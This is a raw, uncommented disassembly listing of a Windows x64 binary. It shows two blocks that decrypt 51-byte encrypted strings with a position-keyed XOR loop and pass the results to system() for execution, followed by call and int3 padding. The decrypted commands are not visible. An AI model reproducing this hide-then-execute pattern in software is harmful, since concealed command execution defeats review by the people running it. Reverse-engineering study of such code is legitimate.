jb 0x1400c14b2
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140174900]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140174910]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140174920]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x140174930]
mov word [rbp - 0x60], ax
movzx eax, byte [0x140174932]
mov byte [rbp - 0x5e], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400bcd4d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bcc40
cmp r8d, 0x33
jge 0x1400bcd93
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x1400bcd60
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bcda0
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c14b8
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140174218]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140174228]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140174238]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x140174248]
mov word [rbp - 0x60], ax
movzx eax, byte [0x14017424a]
mov byte [rbp - 0x5e], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400bcf9d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bce90
cmp r8d, 0x33
jge 0x1400bcfe3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x1400bcfb0
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bcff0
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c14be
call fcn.140050800
nop
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3
call fcn.140050800
int3